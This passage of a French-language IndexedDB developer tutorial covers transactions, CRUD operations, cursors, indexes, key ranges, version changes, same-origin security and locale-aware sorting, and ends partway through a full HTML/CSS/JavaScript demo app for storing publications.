La fonction transaction() prend deux arguments (bien que l'un d'eux soit facultatif) et retourne un objet transaction. Le premier argument est une liste d'objets de stockage que la transaction va traiter. Vous pouvez passer un tableau vide si vous voulez que la transaction traite l'ensemble des objets de stockage, mais ne le faites pas, parce que la spécification indique qu'un tableau vide devrait générer une InvalidAccessError. Si vous ne spécifiez rien pour le deuxième argument, vous démarrerez une transaction "read-only" (lecture seule) . Si vous souhaitez aussi écrire, vous devrez passer l'option "readwrite" (lecture/écriture).

+ +

Maintenant que vous avez une transaction, vous devez comprendre sa durée de vie. Les transactions sont étroitement liées à la boucle de l'évènement. Si vous établissez une transaction et si vous sortez de la boucle d'évènements sans l'utiliser, alors la transaction deviendra inactive. La seule manière de garder la transaction active est d'y insérer une requête. Lorsque la requête est terminée, vous obtenez un évènement DOM, et en supposant que la requête ait réussi, vous avez une autre opportunité d'étendre la transaction durant ce "callback" (rappel). Si vous sortez de la boucle d'évènements sans étendre la transaction, alors elle devient inactive, etc… Tant qu'il reste des demandes en attente, la transaction reste active. La durée de vie des transactions est vraiment très simple, mais cela peut prendre un peu de temps de la maîtriser. Quelques exemples supplémentaires aideront. Si vous commencez à voir des codes d'erreur TRANSACTION_INACTIVE_ERR, alors vous avez raté quelque chose.

+ +

Les transactions peuvent recevoir des évènements DOM de trois types : error (erreur), abort (abandonnée) et complete (terminée). Nous avons déjà parlé du fait que les error créent des bulles, ainsi une transaction peut recevoir des évènements d'erreur venant de n'importe quelle requête l'ayant généré. Un point plus subtil ici, c'est que le comportement par défaut d'une erreur est d'abandonner la transaction là où elle a eu lieu. A moins que vous gériez l’erreur en appelant d'abord stopPropagation() sur l’évènement erreur, puis que vous fassiez quelque chose d'autre, la transaction complète sera annulée. Cette conception vous oblige à réfléchir et gérer les erreurs, mais vous pouvez toujours ajouter un gestionnaire d'erreurs "fourre-tout" à la base de données si la gestion d'erreurs fines est trop lourde. Si vous ne gérez pas un évènement d'erreur, ou si vous appelez abort() sur la transaction, alors la transaction est annulée et un évènement abort est lancé sur la transaction. Sinon, une fois que toutes les demandes en instance sont terminées, vous recevez un évènement complete. Si vous faites beaucoup d'opérations sur les bases de données, alors suivre la transaction plutôt que les requêtes individuelles, peut certainement vous aider.

+ +

Maintenant que vous avons une transaction, nous avons besoin de récupérer l'objet de stockage de celle-ci. Les transactions vous permettent seulement d'avoir l'objet de stockage que vous avez spécifié lors de la création de la transaction. Puis, vous pouvez ajouter toutes les données dont vous avez besoin.

+ +
// Faire quelque chose lorsque toutes les données sont ajoutées à la base de données.
+transaction.oncomplete = function(event) {
+  alert("All done!");
+};
+
+transaction.onerror = function(event) {
+  // N'oubliez pas de gérer les erreurs !
+};
+
+var objectStore = transaction.objectStore("customers");
+for (var i in customerData) {
+  var request = objectStore.add(customerData[i]);
+  request.onsuccess = function(event) {
+    // event.target.result == customerData[i].ssn;
+  };
+}
+ +
La méthode result d’une requête venant d'un appel à add() est la clé de la valeur qui vient d'être ajoutée. Dans ce cas, ce devrait être équivalent à la propriété ssn de l'objet qui vient d'être ajouté, puisque l'objet de stockage utilise la propriété ssn pour le key path. Notez que la fonction add() requiert qu'aucun objet déjà présent dans la base ait la même clé. Si vous essayez de modifier une entrée existante, ou si vous ne vous en occupez pas, vous pouvez utiliser la fonction put(), comme montré plus loin dans la section {{ anch("Updating an entry in the database") }}.
+ +
+ +

Supprimer des données dans la base de données

+ +

Supprimer des données est très similaire :

+ +
var request = db.transaction(["customers"], "readwrite")
+                .objectStore("customers")
+                .delete("444-44-4444");
+request.onsuccess = function(event) {
+  // c'est supprimé !
+};
+ +

Récupérer des données de la base de données

+ +

Maintenant que la base de données dispose de quelques informations, vous pouvez les récupérer de plusieurs façons. D'abord, la plus simple get(). Vous devez fournir une clé pour récupérer la valeur, comme ceci :

+ +
var transaction = db.transaction(["customers"]);
+var objectStore = transaction.objectStore("customers");
+var request = objectStore.get("444-44-4444");
+request.onerror = function(event) {
+  // gestion des erreurs!
+};
+request.onsuccess = function(event) {
+  // Faire quelque chose avec request.result !
+  alert("Name for SSN 444-44-4444 is " + request.result.name);
+};
+ +

Ça fait beaucoup de code pour une "simple" récupération. Voici comment le raccourcir un peu, en supposant que vous gériez les erreurs au niveau de la base de données :

+ +
db.transaction("customers").objectStore("customers").get("444-44-4444").onsuccess = function(event) {
+  alert("Name for SSN 444-44-4444 is " + event.target.result.name);
+};
+ +
Vous voyez comment ça fonctionne ? Comme il n'y a qu'un seul objet de stockage, vous pouvez éviter de passer une liste d'objets dont vous avez besoin dans votre transaction, et juste passer le nom comme une chaîne de caractères. Aussi, nous faisons seulement une lecture de la base, donc nous n'avons pas besoin d'une transaction "readwrite". Appeler une transaction() sans spécifier de mode nous donne une transaction "readonly". Une autre subtilité ici est que nous n'enregistrons pas l'objet de notre requête dans une variable. Comme l’évènement DOM a la requête comme cible, vous pouvez utiliser l'évènement pour récupérer la propriété result.
+ +
+ +

Vous pouvez accélérer l’accès à vos données  en limitant la portée et le mode de la transaction. Voici deux astuces :

+ +
    +
  • Lors de la définition de la scope (portée), spécifiez seulement l’objet de stockage dont vous avez besoin. De cette manière, vous pouvez avoir de multiples opérations simultanées sans qu’elles se chevauchent.
    • +
  • Spécifier une transaction en mode readwrite uniquement lorsque c’est nécessaire. Vous pouvez avoir de multiples opérations simultanées en lecture seule, mais vous ne pouvez avoir qu’une transaction "readwrite" (lecture/écriture) sur un objet de stockage. Pour en savoir plus, voir la définition relative aux transactions in the Basic Concepts article.
    • +
+ +

Mettre à jour une entrée dans la base de données

+ +

Maintenant que nous avons récupéréré quelques données, les mettre à jour et en insérer est assez simple. Mettons à jour l’exemple précédent :

+ +
var objectStore = db.transaction(["customers"], "readwrite").objectStore("customers");
+var request = objectStore.get("444-44-4444");
+request.onerror = function(event) {
+  // Gestion des erreurs!
+};
+request.onsuccess = function(event) {
+  // On récupère l'ancienne valeur que nous souhaitons mettre à jour
+  var data = request.result;
+
+  // On met à jour ce(s) valeur(s) dans l'objet
+  data.age = 42;
+
+  // Et on remet cet objet à jour dans la base
+  var requestUpdate = objectStore.put(data);
+   requestUpdate.onerror = function(event) {
+     // Faire quelque chose avec l’erreur
+   };
+   requestUpdate.onsuccess = function(event) {
+     // Succès - la donnée est mise à jour !
+   };
+};
+ +
Ici, nous avons créé une variable objectStore et nous avons recherché un enregistrement d’un client, identifié par la valeur ssn (444-44-4444). Nous avons ensuite mis le résultat dans une variable (data), mis à jour la propriété age de cet objet, puis créé une deuxième requête (requestUpdate) pour mettre l'enregistrement du client dans l'objectStore, en écrasant la valeur précédente.
+ +
+

Note: dans ce cas, nous avons eu à spécifier une transaction readwrite puisque nous voulions écrire dans la base, et pas seulement la lire.

+
+ +

Utiliser un curseur

+ +

Utiliser get() nécessite de connaître la clé que vous souhaitez récupérer. Si vous voulez parcourir toutes les valeurs de l’objet de stockage, alors vous devez utiliser un curseur. Voici comment ça marche :

+ +
var objectStore = db.transaction("customers").objectStore("customers");
+
+objectStore.openCursor().onsuccess = function(event) {
+  var cursor = event.target.result;
+  if (cursor) {
+    alert("Name for SSN " + cursor.key + " is " + cursor.value.name);
+    cursor.continue();
+  }
+  else {
+    alert("No more entries!");
+  }
+};
+ +

La fonction openCursor() prend en compte plusieurs arguments. En premier, vous pouvez spécifier une plage de résultats à récupérer en utilisant un objet  "key range" que nous allons voir dans une minute. En deuxième, vous pouvez spécifier la direction vers laquelle vous souhaitez itérer. Dans l’exemple ci-dessus, nous avons itéré tous les objets dans l’ordre ascendant. Le "callback" (rappel) de réussite pour les curseurs est un peu spécial. L'objet cursor lui-même est le result (résutat) de la requête (au-dessus, nous utilisons le raccourci event.target.result). Puis la clé et valeur courante peuvent être trouvées dans les propriétés key(clé)  et value (valeur) de l’objet cursor. Si vous souhaitez continuer, vous devez appeler continue() sur le curseur. Lorsque vous avez atteint la fin des données (ou s’il n’y a plus d’entrées qui correspondent à votre requête openCursor() ) , vous aurez toujours votre callback  success, mais la propriété result sera undefined.

+ +

Une utilisation classique avec les curseurs est de récupérer tous les objets dans un objet de stockage et de les mettre dans un tableau, comme ceci :

+ +
var customers = [];
+
+objectStore.openCursor().onsuccess = function(event) {
+  var cursor = event.target.result;
+  if (cursor) {
+    customers.push(cursor.value);
+    cursor.continue();
+  }
+  else {
+    alert("Got all customers: " + customers);
+  }
+};
+ +
+

Note: Mozilla a aussi implémenté getAll() pour gérer ce cas (et getAllKeys(), qui est actuellement caché derrière la préférence dom.indexedDB.experimental  dans about:config) . ceux-ci ne font pas partie d' IndexedDB standard, et peuvent disparaître dans le futur. Nous les avons inclus partceque nous pensons qu'ils sont utiles. Le code suivant fait exactement la même chose que ci-dessus :

+ +
objectStore.getAll().onsuccess = function(event) {
+  alert("Got all customers: " + event.target.result);
+};
+ +

Il y a un coût de performance associé avec la recherche de la propriété value du curseur, parce que l'objet est créé paresseusement. Quand vous utilisez getAll() par exemple, Gecko doit créer tous les objets à la fois. Si vous êtes seulement intéressé par la lecture de chaque clé, pour l'instance, il est beaucoup plus efficace d'utiliser un curseur que getAll(). Si vous essayez d'obtenir un tableau de tous les objets d'un objet de stockage, utilisez getAll().

+
+ +

Utiliser un index

+ +

Le stockage des données des clients utilisant le SSN comme clé est logique puisque le SSN identifie un individu unique. (Que ce soit une bonne idée pour la vie privée est une question différente, et en dehors du champ de cet article). Si vous devez rechercher un client par son nom, vous devrez toutefois faire itérer sur toutes les clés SSN dans la base de données jusqu'à ce que vous trouviez la bonne. La recherche de cette manière serait très lente, alors, vous pouvez utiliser un index.

+ +
// D'abord, assurez-vous de créer un index dans request.onupgradeneeded:
+// objectStore.createIndex("name", "name");
+// Autrement, vous obtiendrez une DOMException.
+
+var index = objectStore.index("name");
+
+index.get("Donna").onsuccess = function(event) {
+  alert("Donna's SSN is " + event.target.result.ssn);
+};
+ +

Le "name" du curseur n'est pas unique, donc il pourrait y avoir plus d'une entrée avec le name attribué à  "Donna". Dans ce cas, vous obtenez toujours celui qui a la valeur clé la plus basse .

+ +

Si vous avez besoin d'accèder à toutes les entrées avec un name donné, vous pouvez utiliser un curseur. Vous pouvez ouvrir deux types différents de curseurs sur les index. Un curseur normal situe la propriété index de l'objet dans l'objet de stockage. Un curseur de clés situe la propriété index des clés utilisées pour stocker l'objet dans l'objet de stockage. Les différences sont illustrées ici :

+ +
// Utilisation d'un curseur normal pour saisir tous les enregistrements des objets client
+index.openCursor().onsuccess = function(event) {
+  var cursor = event.target.result;
+  if (cursor) {
+    // cursor.key est un nom, comme "Bill", et cursor.value est l'objet entier.
+    alert("Name: " + cursor.key + ", SSN: " + cursor.value.ssn + ", email: " + cursor.value.email);
+    cursor.continue();
+  }
+};
+
+// Utilisation d'un curseur de clés pour saisir les clés des enregistrements des objets client
+index.openKeyCursor().onsuccess = function(event) {
+  var cursor = event.target.result;
+  if (cursor) {
+    // cursor.key est un nom, comme "Bill", et cursor.value est le SSN.
+    // Pas moyen d'obtenir directement le reste de l'objet stocké .
+    alert("Name: " + cursor.key + ", SSN: " + cursor.value);
+    cursor.continue();
+  }
+};
+ +

Spécifier l'intervalle et la direction du curseur

+ +

Si vous souhaitez limiter l'intervalle de valeurs que vous voyez dans un curseur, vous pouvez utiliser un objet IDBKeyRange et le donner comme premier argument à openCursor() ou openKeyCursor() . Vous pouvez créer un intervalle de clés qui n'autorise qu'une seule clé, ou qui a des limites inférieure et supérieure, ou qui a des bornes inférieure et supérieure. La limite peut être "closed" (fermée) (c'est-à-dire que l'intervalle de clés comprend les valeurs données) ou "open" (ouverte) (c'est-à-dire que la plage de clés n'inclut pas les valeurs données. Voici comment cela fonctionne :

+ +
// Correspond seulement à "Donna"
+var singleKeyRange = IDBKeyRange.only("Donna");
+
+// Correspond à n'importe quoi contenant "Bill", y compris "Bill"
+var lowerBoundKeyRange = IDBKeyRange.lowerBound("Bill");
+
+// Correspond à n'importe quoi contenant "Bill", mais pas "Bill"
+var lowerBoundOpenKeyRange = IDBKeyRange.lowerBound("Bill", true);
+
+// Correspond à n'importe quoi, mais  "Donna" exclus.
+var upperBoundOpenKeyRange = IDBKeyRange.upperBound("Donna", true);
+
+// Correspond à n'importe quoi compris entre "Bill" et "Donna", mais "Donna" exclus.
+var boundKeyRange = IDBKeyRange.bound("Bill", "Donna", false, true);
+
+// Pour utiliser un des intervalles de clés, placez le en premier argument de openCursor()/openKeyCursor()
+index.openCursor(boundKeyRange).onsuccess = function(event) {
+  var cursor = event.target.result;
+  if (cursor) {
+    // Faire quelque chose avec la sélection.
+    cursor.continue();
+  }
+};
+ +

Parfois, vous voudrez peut-être itérer dans l'ordre décroissant plutôt que dans l'ordre croissant (la direction par défaut pour tous les curseurs). Le changement de direction est réalisé en passant prev à la fonction openCursor() antérieure comme second argument :

+ +
objectStore.openCursor(boundKeyRange, "prev").onsuccess = function(event) {
+  var cursor = event.target.result;
+  if (cursor) {
+    // Faire quelque chose avec les entrées.
+    cursor.continue();
+  }
+};
+ +

Si vous souhaitez simplement spécifier un changement de direction, mais ne pas limiter les résultats, vous pouvez simplement passer "null" comme premier argument :

+ +
objectStore.openCursor(null, "prev").onsuccess = function(event) {
+  var cursor = event.target.result;
+  if (cursor) {
+    // Faire quelque chose avec les entrées.
+    cursor.continue();
+  }
+};
+ +

Étant donné que l'index "name" n'est pas unique, il peut y avoir plusieurs entrées où le name est le même. Notez qu'une telle situation ne peut pas se produire avec les objets stockés car la clé doit toujours être unique. Si vous souhaitez filtrer les doublons pendant l'itération du curseur sur les index, vous pouvez passer nextunique (ou prevunique si vous revenez en arrière) comme paramètre de direction. Lorsque nextunique ou prevunique sont utilisés, l'entrée avec la clé la plus basse est toujours celle retournée.

+ +
index.openKeyCursor(null, "nextunique").onsuccess = function(event) {
+  var cursor = event.target.result;
+  if (cursor) {
+    // Faire quelque chose avec les entrées.
+    cursor.continue();
+  }
+};
+ +

Voyez "IDBCursor Constants" pour les arguments de direction valides.

+ +

La version change alors qu'une application Web est ouverte dans un autre onglet

+ +

Lorsque votre application Web change de telle sorte qu'une modification de version est nécessaire pour votre base de données, vous devez considérer ce qui se passe si l'utilisateur a l'ancienne version de votre application ouverte dans un onglet, puis charge la nouvelle version de votre application dans une autre . Lorsque vous appelez open() avec une version plus grande que la version actuelle de la base de données, toutes les autres bases de données ouvertes doivent reconnaître explicitement la demande avant de commencer à modifier la base de données (un événement onblocked  (bloqué) est déclenché jusqu'à ce qu'elles soient fermées ou rechargées). Voici comment cela fonctionne :

+ +
var openReq = mozIndexedDB.open("MyTestDatabase", 2);
+
+openReq.onblocked = function(event) {
+  //  Si un autre onglet est chargé avec la base de données, il doit être fermé 
+  // avant que nous puissions continuer.
+  alert("Veuillez fermer tous les ongles ouverts sur ce site!");
+};
+
+openReq.onupgradeneeded = function(event) {
+  // Toutes les autres bases de données ont été fermées. Tout régler.
+  db.createObjectStore(/* ... */);
+  useDatabase(db);
+}
+
+openReq.onsuccess = function(event) {
+  var db = event.target.result;
+  useDatabase(db);
+  return;
+}
+
+function useDatabase(db) {
+  // Assurez-vous d'ajouter un gestionnaire pour être averti si une autre page demande 
+  // un changement de version. Nous devons fermer la base de données. 
+  // Cela permet à l'autre page de mettre à niveau la base de données. 
+  //  Si vous ne le faites pas, la mise à niveau ne se produira que lorsque l'utilisateur fermera l'onglet .
+  db.onversionchange = function(event) {
+    db.close();
+    alert("A new version of this page is ready. Please reload!");
+  };
+
+  //  Faire quelque chose avec la base de données .
+}
+ +

Vous devriez également écouter les erreurs VersionError pour gérer le cas où les applications déjà ouvertes déclencheraient un code conduisant à une nouvelle tentative d'ouverture de la base de données, mais en utilisant une version désuète.

+ +

Sécurité

+ +

IndexedDB utilise le principe " same-origin " (même origine), ce qui signifie qu'il relie le stockage à l'origine du site qui le crée (généralement, c'est le domaine ou le sous-domaine du site), de sorte qu'il ne peut être consulté par aucune autre origine.

+ +

Le contenu de la fenêtre de tiers (par exemple le contenu de {{htmlelement("iframe")}}) peut accèder à IndexedDB pour l'origine dans laquelle il est intégré, à moins que le navigateur ne soit configuré pour ne jamais accepter de cookies tiers (voir le {{bug("1147821")}}).

+ +

Avertissement concernant l'arrêt du navigateur

+ +

Lorsque le navigateur s'arrête (parce que l'utilisateur a choisi l'option Quit ou Exit), le disque contenant la base de données est supprimé de manière inattendue ou les permissions sont perdues dans le magasin de base de données, les choses suivantes se produisent :

+ +
    +
  1. Chaque transaction sur chaque base de données affectée (ou toutes les bases de données ouvertes, dans le cas de l'arrêt du navigateur) est interrompue avec un AbortError. L'effet est le même que si {{domxref("IDBTransaction.abort()")}} est appelé sur chaque transaction.
    2. +
  2. Une fois toutes les transactions terminées, la connexion à la base de données est fermée .
    3. +
  3. Enfin, l'objet {{domxref("IDBDatabase")}} représentant la connexion à la base de données reçoit un évènement {{event("close")}} . Vous pouvez utiliser un gestionnaire d'évènements  {{domxref("IDBDatabase.onclose")}} pour écouter ces évènements, afin de savoir quand une base de données est fermée de façon inattendue .
    4. +
+ +

Le comportement décrit ci-dessus est nouveau et n'est disponible que pour les versions de navigateur suivantes : Firefox 50, Google Chrome 31 (approximativement).

+ +

Avant ces versions de navigateurs, les transactions étaient interrompues silencieusement et aucun événement {{event ("close")}} n'était déclenché, donc il n'y avait aucun moyen de détecter une fermeture de base de données inattendue.

+ +

Étant donné que l'utilisateur peut quitter le navigateur à tout moment, cela signifie que vous ne pouvez pas compter sur une transaction particulière à compléter, et sur les navigateurs plus anciens, vous n'êtes même pas informé quand elles ne sont pas terminées. Il y a plusieurs conséquences à ce comportement.

+ +

Tout d'abord, vous devez vous occuper de toujours laisser votre base de données dans un état cohérent à la fin de chaque transaction. Par exemple, supposons que vous utilisiez IndexedDB pour stocker une liste d'éléments que l'utilisateur est autorisé à éditer. Vous enregistrez la liste après l'édition en effaçant l'objet de stockage puis en écrivant la nouvelle liste. Si vous effacez l'objet de stockage dans une transaction et que vous écrivez la nouvelle liste dans une autre transaction, il existe un danger : si le navigateur se ferme après l'effacement mais avant l'écriture, votre base de données est  vide. Pour éviter cela, vous devez combiner l'effacement et l'écriture en une seule transaction.

+ +

Ensuite, vous ne devez jamais lier les transactions de base de données pour les événements unload (déchargement). Si l'événement unload est déclenché par la fermeture du navigateur, toutes les transactions créées dans le gestionnaire d'événements unload ne seront jamais terminées. Une approche intuitive, pour le maintien de certaines informations dans les sessions du navigateur, est de le lire à partir de la base de données, lorsque le navigateur (ou une page particulière) est ouvert, le mettre à jour à mesure que l'utilisateur interagit avec le navigateur, puis l'enregistrer dans la base de données lorsque le navigateur ( ou page) se ferme. Cependant, cela ne fonctionne pas. Les transactions de la base de données sont créées dans le gestionnaire d'événements unload, mais comme elles sont asynchrones, elles sont interrompues avant qu'elles puissent s'exécuter.

+ +

En fait, il n'y a aucun moyen de garantir que les transactions IndexedDB seront terminées, même avec un arrêt normal du navigateur. Voir {{bug (870645)}}. Comme solution de rechange pour cette notification d'arrêt normal, vous pouvez suivre vos transactions et ajouter un événement beforeunload pour avertir l'utilisateur si des transactions ne sont pas encore terminées au moment du déchargement.

+ +

Au-moins, avec l'ajout des notifications d'annulation et {{domxref ("IDBDatabase.onclose")}}, vous pouvez savoir quand cela s'est produit.

+ +

Le tri et les langues

+ +

Mozilla a implémenté la capacité d'effectuer un tri des données IndexedDB localisées sur Firefox 43+. Par défaut, IndexedDB n'a pas pris en charge l'internationalisation des chaînes de tri, et était trié comme s'il s'agissait d'un texte anglais. Par exemple, "b", "á", "z", "a" devaient être triés comme suit :

+ +
    +
  • a
    • +
  • b
    • +
  • z
    • +
  • á
    • +
+ +

ce qui n'est évidemment pas la façon dont les utilisateurs souhaitent que leurs données soient triées - Aaron et Áaron, par exemple, doivent aller l'un à côté de l'autre dans une liste de contacts. L'obtention d'un tri international approprié exige donc que l'ensemble des données soit appelé dans la mémoire et que le tri soit exécuté par le JavaScript côté client, ce qui n'est pas très efficace.

+ +

Cette nouvelle fonctionnalité permet aux développeurs de spécifier une "locale" (langue) lors de la création d'un index en utilisant {{domxref("IDBObjectStore.createIndex()")}} (vérifiez ses paramètres). Dans ce cas, lorsqu'un curseur est utilisé pour itérer sur l'ensemble de données , et si vous souhaitez spécifier un tri local, vous pouvez utiliser un {{domxref ("IDBLocaleAwareKeyRange")}}.

+ +

{{domxref("IDBIndex")}} a également eu de nouvelles propriétés qui lui ont été ajoutées pour spécifier la langue : locale (retourne la langue si elle est spécifiée, ou null sinon) et isAutoLocale (retourne true (vrai) si l'index a été créé avec une "locale auto", ce qui signifie que la langue par défaut de la plate-forme est utilisée, sinon false).

+ +
+

Note : Cette fonctionnalité est couramment cachée derrière une marque (flag) — pour l'activer et l'expérimenter, aller à about:config et activez dom.indexedDB.experimental.

+
+ +

Exemple complet d'IndexedDB

+ +

HTML Content

+ +
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js"></script>
+
+    <h1>IndexedDB Demo: storing blobs, e-publication example</h1>
+    <div class="note">
+      <p>
+        Works and tested with:
+      </p>
+      <div id="compat">
+      </div>
+    </div>
+
+    <div id="msg">
+    </div>
+
+    <form id="register-form">
+      <table>
+        <tbody>
+          <tr>
+            <td>
+              <label for="pub-title" class="required">
+                Title:
+              </label>
+            </td>
+            <td>
+              <input type="text" id="pub-title" name="pub-title" />
+            </td>
+          </tr>
+          <tr>
+            <td>
+              <label for="pub-biblioid" class="required">
+                Bibliographic ID:<br/>
+                <span class="note">(ISBN, ISSN, etc.)</span>
+              </label>
+            </td>
+            <td>
+              <input type="text" id="pub-biblioid" name="pub-biblioid"/>
+            </td>
+          </tr>
+          <tr>
+            <td>
+              <label for="pub-year">
+                Year:
+              </label>
+            </td>
+            <td>
+              <input type="number" id="pub-year" name="pub-year" />
+            </td>
+          </tr>
+        </tbody>
+        <tbody>
+          <tr>
+            <td>
+              <label for="pub-file">
+                File image:
+              </label>
+            </td>
+            <td>
+              <input type="file" id="pub-file"/>
+            </td>
+          </tr>
+          <tr>
+            <td>
+              <label for="pub-file-url">
+                Online-file image URL:<br/>
+                <span class="note">(same origin URL)</span>
+              </label>
+            </td>
+            <td>
+              <input type="text" id="pub-file-url" name="pub-file-url"/>
+            </td>
+          </tr>
+        </tbody>
+      </table>
+
+      <div class="button-pane">
+        <input type="button" id="add-button" value="Add Publication" />
+        <input type="reset" id="register-form-reset"/>
+      </div>
+    </form>
+
+    <form id="delete-form">
+      <table>
+        <tbody>
+          <tr>
+            <td>
+              <label for="pub-biblioid-to-delete">
+                Bibliographic ID:<br/>
+                <span class="note">(ISBN, ISSN, etc.)</span>
+              </label>
+            </td>
+            <td>
+              <input type="text" id="pub-biblioid-to-delete"
+                     name="pub-biblioid-to-delete" />
+            </td>
+          </tr>
+          <tr>
+            <td>
+              <label for="key-to-delete">
+                Key:<br/>
+                <span class="note">(for example 1, 2, 3, etc.)</span>
+              </label>
+            </td>
+            <td>
+              <input type="text" id="key-to-delete"
+                     name="key-to-delete" />
+            </td>
+          </tr>
+        </tbody>
+      </table>
+      <div class="button-pane">
+        <input type="button" id="delete-button" value="Delete Publication" />
+        <input type="button" id="clear-store-button"
+               value="Clear the whole store" class="destructive" />
+      </div>
+    </form>
+
+    <form id="search-form">
+      <div class="button-pane">
+        <input type="button" id="search-list-button"
+               value="List database content" />
+      </div>
+    </form>
+
+    <div>
+      <div id="pub-msg">
+      </div>
+      <div id="pub-viewer">
+      </div>
+      <ul id="pub-list">
+      </ul>
+    </div>
+ +

CSS Content

+ +
body {
+  font-size: 0.8em;
+  font-family: Sans-Serif;
+}
+
+form {
+  background-color: #cccccc;
+  border-radius: 0.3em;
+  display: inline-block;
+  margin-bottom: 0.5em;
+  padding: 1em;
+}
+
+table {
+  border-collapse: collapse;
+}
+
+input {
+  padding: 0.3em;
+  border-color: #cccccc;
+  border-radius: 0.3em;
+}
+
+.required:after {
+  content: "*";
+  color: red;
+}
+
+.button-pane {
+  margin-top: 1em;
+}
+
+#pub-viewer {
+  float: right;
+  width: 48%;
+  height: 20em;
+  border: solid #d092ff 0.1em;
+}
+#pub-viewer iframe {
+  width: 100%;
+  height: 100%;
+}
+
+#pub-list {
+  width: 46%;
+  background-color: #eeeeee;
+  border-radius: 0.3em;
+}
+#pub-list li {
+  padding-top: 0.5em;
+  padding-bottom: 0.5em;
+  padding-right: 0.5em;
+}
+
+#msg {
+  margin-bottom: 1em;
+}
+
+.action-success {
+  padding: 0.5em;
+  color: #00d21e;
+  background-color: #eeeeee;
+  border-radius: 0.2em;
+}
+
+.action-failure {
+  padding: 0.5em;
+  color: #ff1408;
+  background-color: #eeeeee;
+  border-radius: 0.2em;
+}
+
+.note {
+  font-size: smaller;
+}
+
+.destructive {
+  background-color: orange;
+}
+.destructive:hover {
+  background-color: #ff8000;
+}
+.destructive:active {
+  background-color: red;
+}
+ +

JavaScript Content

+ +
(function () {
+  var COMPAT_ENVS = [
+    ['Firefox', ">= 16.0"],
+    ['Google Chrome',
+     ">= 24.0 (you may need to get Google Chrome Canary), NO Blob storage support"]
+  ];
+  var compat = $('#compat');
+  compat.empty();
+  compat.append('<ul id="compat-list"></ul>');
+  COMPAT_ENVS.forEach(function(val, idx, array) {
+    $('#compat-list').append('<li>' + val[0] + ': ' + val[1] + '</li>');
+  });
+
+  const DB_NAME = 'mdn-demo-indexeddb-epublications';
+  const DB_VERSION = 1; //  Utilisez un "long long" pour cette valeur (ne pas utiliser un flottant (float)) 
+  const DB_STORE_NAME = 'publications';
+
+  var db;
+
+  //  Utilisé pour garder une trace de la vue affichée pour éviter de la recharger inutilement
+  var current_view_pub_key;
+
+  function openDb() {
+    console.log("openDb ...");
+    var req = indexedDB.open(DB_NAME, DB_VERSION);
+    req.onsuccess = function (evt) {
+      //  Le mieux utiliser "this" que "req" pour obtenir le résultat et éviter  
+      // les problèmes avec "garbage collection".
+      // db = req.result;
+      db = this.result;
+      console.log("openDb DONE");
+    };
+    req.onerror = function (evt) {
+      console.error("openDb:", evt.target.errorCode);
+    };
+
+    req.onupgradeneeded = function (evt) {
+      console.log("openDb.onupgradeneeded");
+      var store = evt.currentTarget.result.createObjectStore(
+        DB_STORE_NAME, { keyPath: 'id', autoIncrement: true });
+
+      store.createIndex('biblioid', 'biblioid', { unique: true });
+      store.createIndex('title', 'title', { unique: false });
+      store.createIndex('year', 'year', { unique: false });
+    };
+  }
+
+  /**
+   * @paramètre {string}(chaîne de caractères) store_name
+   * @paramètre {string}(chaîne de caractères) mode either "readonly" ou "readwrite"
+   */
+  function getObjectStore(store_name, mode) {
+    var tx = db.transaction(store_name, mode);
+    return tx.objectStore(store_name);
+  }
+
+  function clearObjectStore(store_name) {
+    var store = getObjectStore(DB_STORE_NAME, 'readwrite');
+    var req = store.clear();
+    req.onsuccess = function(evt) {
+      displayActionSuccess("Store cleared");
+      displayPubList(store);
+    };
+    req.onerror = function (evt) {
+      console.error("clearObjectStore:", evt.target.errorCode);
+      displayActionFailure(this.error);
+    };
+  }
+
+  function getBlob(key, store, success_callback) {
+    var req = store.get(key);
+    req.onsuccess = function(evt) {
+      var value = evt.target.result;
+      if (value)
+        success_callback(value.blob);
+    };
+  }
+
+  /**
+   * @paramètre objet de stockage {IDBObjectStore=}
+   */
+  function displayPubList(store) {
+    console.log("displayPubList");
+
+    if (typeof store == 'undefined')
+      store = getObjectStore(DB_STORE_NAME, 'readonly');
+
+    var pub_msg = $('#pub-msg');
+    pub_msg.empty();
+    var pub_list = $('#pub-list');
+    pub_list.empty();
+    //  Réinitialisation de l'iframe afin qu'il n'indique pas le contenu précédent 
+    newViewerFrame();
+
+    var req;
+    req = store.count();
+    // Les requêtes sont exécutées dans l'ordre où elles ont été faites en-dehors de la 
+    // transaction,  et leurs résultats sont retournés dans le même ordre. 
+    // Ainsi, le texte du compteur ci-dessous sera affiché avant la liste de pub actuelle 
+    // (ce n'est pas algorithmiquement important dans ce cas) .
+    req.onsuccess = function(evt) {
+      pub_msg.append('<p>There are <strong>' + evt.target.result +
+                     '</strong> record(s) in the object store.</p>');
+    };
+    req.onerror = function(evt) {
+      console.error("add error", this.error);
+      displayActionFailure(this.error);
+    };
+
+    var i = 0;
+    req = store.openCursor();
+    req.onsuccess = function(evt) {
+      var cursor = evt.target.result;
+
+      //  Si le curseur pointe vers quelque chose, demandez les données 
+      if (cursor) {
+        console.log("displayPubList cursor:", cursor);
+        req = store.get(cursor.key);
+        req.onsuccess = function (evt) {
+          var value = evt.target.result;
+          var list_item = $('<li>' +
+                            '[' + cursor.key + '] ' +
+                            '(biblioid: ' + value.biblioid + ') ' +
+                            value.title +
+                            '</li>');
+          if (value.year != null)
+            list_item.append(' - ' + value.year);
+
+          if (value.hasOwnProperty('blob') &&
+              typeof value.blob != 'undefined') {
+            var link = $('<a href="' + cursor.key + '">File</a>');
+            link.on('click', function() { return false; });
+            link.on('mouseenter', function(evt) {
+                      setInViewer(evt.target.getAttribute('href')); });
+            list_item.append(' / ');
+            list_item.append(link);
+          } else {
+            list_item.append(" / No attached file");
+          }
+          pub_list.append(list_item);
+        };
+
+        //  Passer à l'objet de stockage suivant
+        cursor.continue();
+
+        // Ce compteur sert seulement à créer des identifiants distincts
+        i++;
+      } else {
+        console.log("No more entries");
+      }
+    };
+  }
+
+  function newViewerFrame() {
+    var viewer = $('#pub-viewer');
+    viewer.empty();
+    var iframe = $('<iframe />');
+    viewer.append(iframe);
+    return iframe;
+  }
+
+  function setInViewer(key) {
+    console.log("setInViewer:", arguments);
+    key = Number(key);
+    if (key == current_view_pub_key)
+      return;
+
+    current_view_pub_key = key;
+
+    var store = getObjectStore(DB_STORE_NAME, 'readonly');
+    getBlob(key, store, function(blob) {
+      console.log("setInViewer blob:", blob);
+      var iframe = newViewerFrame();
+
+      // Il n'est pas possible de définir un lien direct vers 
